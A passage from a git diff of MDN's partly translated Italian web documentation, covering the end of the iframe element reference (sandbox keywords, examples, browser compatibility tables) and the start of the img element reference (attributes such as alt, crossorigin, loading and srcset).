+  <li><code>allow-popups-to-escape-sandbox</code>:  Allows a sandboxed document to open new windows without forcing the sandboxing flags upon them. This will allow, for example, a third-party advertisement to be safely sandboxed without forcing the same restrictions upon a landing page.</li>
+  <li><code>allow-presentation</code>: Allows embedders to have control over whether an iframe can start a presentation session.</li>
+  <li><code>allow-same-origin</code>: Allows the content to be treated as being from its normal origin. If this keyword is not used, the embedded content is treated as being from a unique origin.</li>
+  <li><code>allow-scripts</code>: Allows the embedded browsing context to run scripts (but not create pop-up windows). If this keyword is not used, this operation is not allowed.</li>
+  <li><code>allow-top-navigation</code>: Allows the embedded browsing context to navigate (load) content to the top-level browsing context. If this keyword is not used, this operation is not allowed.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Note:</strong></p>
+
+ <ul>
+  <li>When the embedded document has the same origin as the main page, it is strongly discouraged to use both <code>allow-scripts</code> and <code>allow-same-origin</code> at the same time, as that allows the embedded document to programmatically remove the <code>sandbox</code> attribute. Although it is accepted, this case is no more secure than not using the <code>sandbox</code> attribute.</li>
+  <li>Sandboxing in general is only of minimal help if the attacker can arrange for the potentially hostile content to be displayed in the user's browser outside a sandboxed <code>iframe</code>. It is recommended that such content should be served from a <em>separate dedicated domain</em>, to limit the potential damage.</li>
+  <li>The <code>sandbox</code> attribute is not supported in Internet Explorer 9 and earlier versions.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>L'URL della pagina da visualizzare all'interno dell'iframe.The URL of the page to embed. Usa <a href="/en-US/docs/Web/Security/Same-origin_policy#Inherited_origins">'about:blank'</a> per pagine vuote affinchè esse siano conformi a Same-Origin Policy.</dd>
+ <dt>{{htmlattrdef("srcdoc")}} {{HTMLVersionInline(5)}} only</dt>
+ <dd>The content of the page that the embedded context is to contain. This attribute is expected to generally be used together with the <code>sandbox</code> attribute. If a browser supports the <code>srcdoc</code> attribute, it will override the content specified in the <code>src</code> attribute (if present). If a browser does NOT support the <code>srcdoc</code> attribute, it will show the file specified in the <code>src</code> attribute instead (if present). Note that if the content of the attribute contains a script tag then a closing script tag is required for the script to run, even if nothing else comes after the script.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Indica la larghezza del frame {{HTMLVersionInline(5)}} in CSS pixels, o {{HTMLVersionInline(4.01)}} in pixels o in percentuale.</dd>
+</dl>
+
+<h2 id="Scripting">Scripting</h2>
+
+<p>Dal DOM gli script possono accedere all'oggetto {{domxref("window")}} dell'iframe attraverso la proprietà <code>contentDocument</code>. Non é supportato dalle versioni di Internet Explorer inferiori alla IE8.</p>
+
+<p>Dall'iframe, uno script puó accedere alla window del parent attravero {{domxref("Window.parent")}}.</p>
+
+<p>Per via della  <a href="/en-US/docs/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">same-origin policy</a>, gli script non posono accedere alle proprieta' degli altri oggetti window. Comunicazioni cross-domain possono sempre avvenire con {{domxref("Window.postMessage()")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Di seguito alcuni esempi che dimostrano l'utilizzo dell'elemento <code>&lt;iframe&gt;</code>.</p>
+
+<h3 id="Example1" name="Example1">Un semplice <code>&lt;iframe&gt;</code></h3>
+
+<p>Se l'utente clicca su un bottone, il suo titolo dell'iframe viene letto e visualizzato su un alert.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<div id="htmlOutputWrapper">
+<pre class="brush: html">&lt;iframe src="https://mdn-samples.mozilla.org/snippets/html/iframe-simple-contents.html" width="400" height="300"&gt;
+  &lt;p&gt;Your browser does not support iframes.&lt;/p&gt;
+&lt;/iframe&gt;</pre>
+</div>
+
+<h4 id="Risultato">Risultato</h4>
+
+<p>{{ EmbedLiveSample('Example1', '', '', '', 'Web/HTML/Element/iframe') }}</p>
+
+<h3 id="Example2" name="Example2">Aprire un link contenuto in un <code>&lt;iframe&gt;</code> in un altro tab</h3>
+
+<p>In questo esempio, una mappa Google viene visualizzata in un iframe.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;base target="_blank"&gt;
+&lt;iframe id="Example2"
+    title="Example2"
+    width="400"
+    height="300"
+    frameborder="0"
+    scrolling="no"
+    marginheight="0"
+    marginwidth="0"
+    src="https://maps.google.com/maps?f=q&amp;amp;source=s_q&amp;amp;hl=es-419&amp;amp;geocode=&amp;amp;q=buenos+aires&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=38.638819,80.859375&amp;amp;t=h&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Buenos+Aires,+Argentina&amp;amp;z=11&amp;amp;ll=-34.603723,-58.381593&amp;amp;output=embed"&gt;
+&lt;/iframe&gt;
+
+&lt;br&gt;
+&lt;small&gt;
+  &lt;a href="https://maps.google.com/maps?f=q&amp;amp;source=embed&amp;amp;hl=es-419&amp;amp;geocode=&amp;amp;q=buenos+aires&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=38.638819,80.859375&amp;amp;t=h&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Buenos+Aires,+Argentina&amp;amp;z=11&amp;amp;ll=-34.603723,-58.381593" style="color:#0000FF;text-align:left"&gt; See bigger map &lt;/a&gt;
+&lt;/small&gt;</pre>
+
+<h4 id="Risultato_2">Risultato</h4>
+
+<p>{{ EmbedLiveSample('Example2', '', '', '', 'Web/HTML/Element/iframe') }}</p>
+
+<h4 id="Risultato_3">Risultato</h4>
+
+<p><a href="https://jsfiddle.net/pablofiumara/mCfAe/">Live example</a></p>
+
+<h2 id="Note">Note</h2>
+
+<div class="note">
+<p>Starting in {{Gecko("6.0")}}, rendering of inline frames correctly respects the borders of their containing element when they're rounded using {{cssxref("border-radius")}}.</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrerpolicy attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Added the <code>referrerpolicy</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-iframe-element', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/frames.html#h-16.5', '&lt;iframe&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Screen Orientation')}}</td>
+   <td>{{Spec2('Screen Orientation')}}</td>
+   <td>Adds <code>allow-orientation-lock</code> to the <code>sandbox</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Presentation','#sandboxing-and-the-allow-presentation-keyword','allow-presentation')}}</td>
+   <td>{{Spec2('Presentation')}}</td>
+   <td>Adds <code>allow-presentation</code> to the <code>sandbox</code> attribute</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilitá_dei_Browser">Compatibilitá dei Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[2]</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>{{CompatChrome(4.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("17.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td><code>srcdoc</code></td>
+   <td>{{CompatChrome(20.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td><code>allowfullscreen</code></td>
+   <td>{{CompatChrome(17.0)}} {{property_prefix("webkit")}}<br>
+    {{CompatChrome(27.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}} {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("18.0")}}</td>
+   <td>
+    <p>11 {{property_prefix("ms")}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}<br>
+    7</td>
+  </tr>
+  <tr>
+   <td><code>sandbox="allow-popups"</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("28.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox="allow-popups-to-escape-sandbox"</code></td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("49.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>32</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox="allow-modals"</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("49.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerpolicy</code></td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("50.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox="allow-presentation"</code></td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatOpera(40)}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>2.2</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("17.0")}}</td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>4.2</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>srcdoc</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>allowfullscreen</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}} {{property_prefix("moz")}}<br>
+    {{CompatGeckoMobile("18.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}<br>
+    7</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox="allow-popups"</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("27.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox="allow-popups-to-escape-sandbox"</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("49.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>32</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox="allow-modals"</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("49.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerpolicy</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("50.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox="allow-presentation"</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatOperaMobile(40)}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(53.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La proprieta' CSS {{cssxref("resize")}} non ha alcun effetto per via del {{bug("680823")}}.</p>
+
+<p>[2] Safari has a well-known <a href="https://www.quirksmode.org/bugreports/archives/2005/02/hidden_iframes.html">bug</a> that prevents iframes from loading if the iframe element was hidden when added to the page. iframeElement.src = iframeElement.src should cause it to load the iframe.</p>
diff --git a/files/it/web/html/element/img/index.html b/files/it/web/html/element/img/index.html
new file mode 100644
index 0000000000..f9d0d4370d
--- /dev/null
+++ b/files/it/web/html/element/img/index.html
@@ -0,0 +1,422 @@
+---
+title: '<img>: The Image Embed element'
+slug: Web/HTML/Element/img
+translation_of: Web/HTML/Element/img
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">L'<strong>elemento</strong> <strong>HTML <code>&lt;img&gt;</code></strong> inserisce un'immagine nel documento.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/img.html", "tabbed-standard")}}</div>
+
+<div class="hidden">I sorgenti di questo esempio interattivo sono presenti in un repository GitHub. Se vuoi contribuire al progetto degli esempi interattivi, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>e inviaci una pull request.</div>
+
+<p>L'esempio qui sopra mostra l'uso dell'elemento <code>&lt;img&gt;</code>:</p>
+
+<ul>
+ <li>L'attributo <code>src</code> è <strong>obbligatorio</strong> e contiene il percorso dell'immagine che si desidera inserire.</li>
+ <li>L'attributo <code>alt</code> contiene una descrizione testuale dell'immagine, che non è obbligatoria, ma è <strong>incredibilmente utile</strong> per l'accessibilità — gli screen reader leggono questa descrizione ai loro utenti, per indicare cosa contiene l'immagine. Il testo dell'Alt viene anche mostrato in pagina se per qualche motivo l'immagine non può essere caricata: per esempio, errori di rete, blocco dei contenuti, o link errato.</li>
+</ul>
+
+<p>There are many other attributes to achieve various purposes:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Referrer-Policy">Referrer</a>/{{glossary("CORS")}} control for security and privacy: see {{htmlattrxref("crossorigin", "img")}} and {{htmlattrxref("referrerpolicy", "img")}}.</li>
+ <li>Use both {{htmlattrxref("width", "img")}} and {{htmlattrxref("height", "img")}} to set the intrinsic size of the image, allowing it to take up space before it loads, to mitigate content layout shifts.</li>
+ <li>Responsive image hints with {{htmlattrxref("sizes", "img")}} and {{htmlattrxref("srcset", "img")}} (see also the {{htmlelement("picture")}} element and our <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a> tutorial).</li>
+</ul>
+
+<h2 id="Supported_image_formats">Supported image formats</h2>
+
+<p>The HTML standard doesn't list what image formats to support, so each {{glossary("user agent")}} supports different formats. A complete <a href="/en-US/docs/Web/Media/Formats/Image_types">guide to image formats supported by web browsers</a> is available. Below is a list of the image formats that are most commonly used on the web, as well as some older formats that should no longer be used, despite existing content possibly still using them.</p>
+
+<p>{{page("/en-US/docs/Web/Media/Formats/Image_types", "table-of-image-file-types")}}</p>
+
+<h2 id="Image_loading_errors">Image loading errors</h2>
+
+<p>If an error occurs while loading or rendering an image, and an {{htmlattrxref("onerror")}} event handler has been set on the {{event("error")}} event, that event handler will get called. This can happen in a number of situations, including:</p>
+
+<ul>
+ <li>The <code>src</code> attribute is empty (<code>""</code>) or <code>null</code>.</li>
+ <li>The <code>src</code> {{glossary("URL")}} is the same as the URL of the page the user is currently on.</li>
+ <li>The image is corrupted in some way that prevents it from being loaded.</li>
+ <li>The image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <code>&lt;img&gt;</code> element's attributes.</li>
+ <li>The image is in a format not supported by the {{Glossary("user agent")}}.</li>
+</ul>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>Defines an alternative text description of the image.
+ <div class="note">
+ <p><strong>Note:</strong> Browsers do not always display images. There are a number of situations in which a browser might not display images, such as:</p>
+
+ <ul>
+  <li>Non-visual browsers (such as those used by people with visual impairments)</li>
+  <li>The user chooses not to display images (saving bandwidth, privacy reasons)</li>
+  <li>The image is invalid or an <a href="#Supported_image_formats">unsupported type</a></li>
+ </ul>
+
+ <p>In these cases, the browser may replace the image with the text in the element's <code>alt</code> attribute. For these reasons and others, provide a useful value for <code>alt</code> whenever possible.</p>
+ </div>
+
+ <p>Omitting <code>alt</code> altogether indicates that the image is a key part of the content and no textual equivalent is available. Setting this attribute to an empty string (<code>alt=""</code>) indicates that this image is <em>not</em> a key part of the content (it’s decoration or a tracking pixel), and that non-visual browsers may omit it from {{glossary("Rendering engine", "rendering")}}. Visual browsers will also hide the broken image icon if the <code>alt</code> is empty and the image failed to display.</p>
+
+ <p>This attribute is also used when copying and pasting the image to text, or saving a linked image to a bookmark.</p>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>
+ <p>Indicates if the fetching of the image must be done using a {{glossary("CORS")}} request. Image data from a <a href="/en-US/docs/CORS_Enabled_Image">CORS-enabled image</a> returned from a CORS request can be reused in the {{HTMLElement("canvas")}} element without being marked "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#What_is_a_tainted_canvas">tainted</a>".</p>
+
+ <p>If the <code>crossorigin</code> attribute is <em>not</em> specified, then a non-CORS request is sent (without the {{httpheader("Origin")}} request header), and the browser marks the image as tainted and restricts access to its image data, preventing its usage in {{HTMLElement("canvas")}} elements.</p>
+
+ <p>If the <code>crossorigin</code> attribute <em>is</em> specified, then a CORS request is sent (with the {{httpheader("Origin")}} request header); but if the server does not opt into allowing cross-origin access to the image data by the origin site (by not sending any {{httpheader("Access-Control-Allow-Origin")}} response header, or by not including the site's origin in any {{httpheader("Access-Control-Allow-Origin")}} response header it does send), then the browser marks the image as tainted and restricts access to its image data, preventing its usage in {{HTMLElement("canvas")}} elements.</p>
+ </dd>
+ <dd></dd>
+ <dd>
+ <p>Allowed values:</p>
+
+ <dl>
+  <dt><code>anonymous</code></dt>
+  <dd>A CORS request is sent with credentials omitted (that is, no {{glossary("cookie", "cookies")}}, <a class="external" href="https://tools.ietf.org/html/rfc5280">X.509 certificates</a>, or {{httpheader("Authorization")}} request header).</dd>
+  <dt><code>use-credentials</code></dt>
+  <dd>The CORS request is sent with any credentials included (that is, cookies, X.509 certificates, and the <code>Authorization</code> request header). If the server does not opt into sharing credentials with the origin site (by sending back the <code>Access-Control-Allow-Credentials: true</code> response header), then the browser marks the image as tainted and restricts access to its image data.</dd>
+ </dl>
+
+ <p>If the attribute has an invalid value, browsers handle it as if the <code>anonymous</code> value was used. See <a href="/en-US/docs/HTML/CORS_settings_attributes">CORS settings attributes</a> for additional information.</p>
+ </dd>
+ <dt>{{htmlattrdef("decoding")}}</dt>
+ <dd>
+ <p>Provides an image decoding hint to the browser. Allowed values:</p>
+ </dd>
+ <dd>
+ <dl>
+  <dt><code>sync</code></dt>
+  <dd>Decode the image synchronously, for atomic presentation with other content.</dd>
+  <dt><code>async</code></dt>
+  <dd>Decode the image asynchronously, to reduce delay in presenting other content.</dd>
+  <dt><code>auto</code></dt>
+  <dd>Default: no preference for the decoding mode. The browser decides what is best for the user.</dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>The intrinsic height of the image, in pixels. Must be an integer without a unit.</dd>
+ <dt>{{htmlattrdef("intrinsicsize")}} {{deprecated_inline}}</dt>
+ <dd>This attribute tells the browser to ignore the actual {{glossary("intrinsic size")}} of the image and pretend it’s the size specified in the attribute. Specifically, the image would raster at these dimensions and <code>naturalWidth</code>/<code>naturalHeight</code> on images would return the values specified in this attribute. <a class="external" href="https://github.com/ojanvafai/intrinsicsize-attribute">Explainer</a>, <a class="external" href="https://googlechrome.github.io/samples/intrinsic-size/index.html">examples</a></dd>
+ <dt>{{htmlattrdef("ismap")}}</dt>
+ <dd>This Boolean attribute indicates that the image is part of a <a href="https://en.wikipedia.org/wiki/Image_map#Server-side">server-side map</a>. If so, the coordinates where the user clicked on the image are sent to the server.
+ <div class="note">
+ <p><strong>Note:</strong> This attribute is allowed only if the <code>&lt;img&gt;</code> element is a descendant of an {{htmlelement("a")}} element with a valid {{htmlattrxref("href","a")}} attribute. This gives users without pointing devices a fallback destination.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("loading")}}</dt>
+ <dd>Indicates how the browser should load the image:
+ <ul>
+  <li><code>eager</code>: Loads the image immediately, regardless of whether or not the image is currently within the visible viewport (this is the default value).</li>
+  <li><code>lazy</code>: Defers loading the image until it reaches a calculated distance from the viewport, as defined by the browser. The intent is to avoid the network and storage bandwidth needed to handle the image until it's reasonably certain that it will be needed. This generally improves the performance of the content in most typical use cases.
+   <div class="note"><strong>Note:</strong> Loading is only deferred when JavaScript is enabled. This is an anti-tracking measure, because if a user agent supported lazy loading when scripting is disabled, it would still be possible for a site to track a user's approximate scroll position throughout a session, by strategically placing images in a page's markup such that a server can track how many images are requested and when.</div>
+  </li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>A string indicating which referrer to use when fetching the resource:
+ <ul>
+  <li><code>no-referrer</code>: The {{httpheader("Referer")}} header will not be sent.</li>
+  <li><code>no-referrer-when-downgrade</code>: No <code>Referer</code> header is sent when navigating to an origin without {{glossary("HTTPS")}}. This is the default if no policy is otherwise specified.</li>
+  <li><code>origin</code>: The <code>Referer</code> header will include the page's origin ({{glossary("scheme")}}, {{glossary("host")}}, and {{glossary("port")}}).</li>
+  <li><code>origin-when-cross-origin</code>: Navigating to other origins will limit the included referral data to the scheme, host, and port, while navigating from the same origin will include the full path and query string.</li>
+  <li><code>unsafe-url</code>: The <code>Referer</code> header will always include the origin, path and query string, but not the fragment, password, or username. <strong>This is unsafe</strong> because it can leak information from TLS-protected resources to insecure origins.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sizes")}}</dt>
+ <dd>One or more strings separated by commas, indicating a set of source sizes. Each source size consists of:
+ <ol>
+  <li>A <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#Syntax">media condition</a>. This must be omitted for the last item in the list.</li>
+  <li>A source size value.</li>
+ </ol>
+
+ <p>Media Conditions describe properties of the <em>viewport</em>, not of the <em>image</em>. For example, <code>(max-height: 500px) 1000px</code> proposes to use a source of 1000px width, if the <em>viewport </em>is not higher than 500px.</p>
+
+ <p>Source size values specify the intended display size of the image. {{glossary("User agent", "User agents")}} use the current source size to select one of the sources supplied by the <code>srcset</code> attribute, when those sources are described using width (<code>w</code>) descriptors. The selected source size affects the {{glossary("intrinsic size")}} of the image (the image’s display size if no {{glossary("CSS")}} styling is applied). If the <code>srcset</code> attribute is absent, or contains no values with a width descriptor, then the <code>sizes</code> attribute has no effect.</p>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>The image {{glossary("URL")}}. Mandatory for the <code>&lt;img&gt;</code> element. On {{glossary("Browser", "browsers")}} supporting <code>srcset</code>, <code>src</code> is treated like a candidate image with a pixel density descriptor <code>1x</code>, unless an image with this pixel density descriptor is already defined in <code>srcset</code>, or unless <code>srcset</code> contains <code>w</code> descriptors.</dd>
+ <dt>{{htmlattrdef("srcset")}}</dt>
+ <dd>One or more strings separated by commas, indicating possible image sources for the {{glossary("user agent")}} to use. Each string is composed of:
+ <ol>
+  <li>A {{glossary("URL")}} to an image</li>
+  <li>Optionally, whitespace followed by one of:
+   <ul>
+    <li>A width descriptor (a positive integer directly followed by <code>w</code>). The width descriptor is divided by the source size given in the <code>sizes</code> attribute to calculate the effective pixel density.</li>
+    <li>A pixel density descriptor (a positive floating point number directly followed by <code>x</code>).</li>
+   </ul>
+  </li>
+ </ol>
+
+ <p>If no descriptor is specified, the source is assigned the default descriptor of <code>1x</code>.</p>
+
+ <p>It is incorrect to mix width descriptors and pixel density descriptors in the same <code>srcset</code> attribute. Duplicate descriptors (for instance, two sources in the same <code>srcset</code> which are both described with <code>2x</code>) are also invalid.</p>
+
+ <p>The user agent selects any of the available sources at its discretion. This provides them with significant leeway to tailor their selection based on things like user preferences or {{glossary("bandwidth")}} conditions. See our <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a> tutorial for an example.</p>
+ </dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>The intrinsic width of the image in pixels. Must be an integer without a unit.</dd>
+ <dt>{{htmlattrdef("usemap")}}</dt>
+ <dd>The partial {{glossary("URL")}} (starting with <code>#</code>) of an <a href="/en-US/docs/HTML/Element/map">image map</a> associated with the element.
+ <div class="note">
+ <p><strong>Note: </strong>You cannot use this attribute if the <code>&lt;img&gt;</code> element is inside an {{htmlelement("a")}} or {{HTMLElement("button")}} element.</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Obsolete_Inline}}</dt>
+ <dd>Aligns the image with its surrounding context. Use the {{cssxref('float')}} and/or {{cssxref('vertical-align')}} {{glossary("CSS")}} properties instead of this attribute. Allowed values:</dd>
+ <dd>
+ <dl>
+  <dt><code>top</code></dt>
+  <dd>Equivalent to <code style="white-space: nowrap;">vertical-align: top</code> or <code style="white-space: nowrap;">vertical-align: text-top</code></dd>
+  <dt><code>middle</code></dt>
+  <dd>Equivalent to <code style="white-space: nowrap;">vertical-align: -moz-middle-with-baseline</code></dd>
+  <dt><code>bottom</code></dt>
+  <dd>The default, equivalent to <code style="white-space: nowrap;">vertical-align: unset</code> or <code style="white-space: nowrap;">vertical-align: initial</code></dd>
+  <dt><code>left</code></dt>
+  <dd>Equivalent to <code style="white-space: nowrap;">float: left</code></dd>
+  <dt><code>right</code></dt>
+  <dd>Equivalent to <code style="white-space: nowrap;">float: right</code></dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("border")}} {{Obsolete_Inline}}</dt>
+ <dd>The width of a border around the image. Use the {{cssxref('border')}} {{glossary("CSS")}} property instead.</dd>
+ <dt>{{htmlattrdef("hspace")}} {{Obsolete_Inline}}</dt>
+ <dd>The number of pixels of white space on the left and right of the image. Use the {{cssxref('margin')}} CSS property instead.</dd>
+ <dt>{{htmlattrdef("longdesc")}} {{Obsolete_Inline}}</dt>
+ <dd>A link to a more detailed description of the image. Possible values are a {{glossary("URL")}} or an element {{htmlattrxref("id")}}.
+ <div class="note">
